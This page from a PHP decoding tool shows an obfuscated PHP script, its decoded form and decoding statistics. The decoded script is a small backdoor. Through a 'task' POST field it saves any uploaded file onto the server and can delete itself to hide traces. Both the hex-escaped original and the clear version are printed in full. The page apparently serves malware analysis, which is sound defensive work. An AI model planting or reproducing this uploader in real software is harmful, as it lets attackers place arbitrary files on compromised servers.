Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if(!empty($_POST["\x74a\x73k"])) { echo "testg"; if($_POST["tas\x6b"]=="\x75\x70\x6..
Decoded Output download
<? if(!empty($_POST["task"]))
{
echo "testg";
if($_POST["task"]=="upload")
{
if($_FILES["file"]["error"]>0)
{
echo"Return Code: ".$_FILES["file"]["error"]."
";
}
else
{
if(file_exists("./".$_FILES["file"]["name"]))
{
echo$_FILES["file"]["name"]." already exists.
";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);
echo"ok";
}
}
}
else if($_POST["task"]=="delSelf")
{
if(unlink(__FILE__))
{
echo"ok";
}
else
{
echo"fail";
}
}
}
else
{
echo"ok";
exit;
}
?>
Did this file decode correctly?
Original Code
if(!empty($_POST["\x74a\x73k"]))
{
echo "testg";
if($_POST["tas\x6b"]=="\x75\x70\x6c\x6fad")
{
if($_FILES["fi\x6ce"]["\x65rr\x6fr"]>0)
{
echo"Re\x74\x75r\x6e C\x6fde: ".$_FILES["f\x69le"]["\x65rror"]."\n";
}
else
{
if(file_exists("./".$_FILES["fi\x6ce"]["na\x6de"]))
{
echo$_FILES["\x66ile"]["name"]."\x20al\x72ead\x79\x20\x65x\x69s\x74s\x2e \n";
}
else
{
move_uploaded_file($_FILES["\x66\x69l\x65"]["t\x6dp\x5fna\x6de"],"./".$_FILES["f\x69l\x65"]["nam\x65"]);
echo"\x6fk";
}
}
}
else if($_POST["\x74a\x73k"]=="\x64el\x53e\x6cf")
{
if(unlink(__FILE__))
{
echo"\x6f\x6b";
}
else
{
echo"\x66\x61\x69\x6c";
}
}
}
else
{
echo"\x6f\x6b";
exit;
}
Function Calls
None |
Stats
MD5 | 2f1b6ebbac301e8135071b1697de9603 |
Eval Count | 0 |
Decode Time | 89 ms |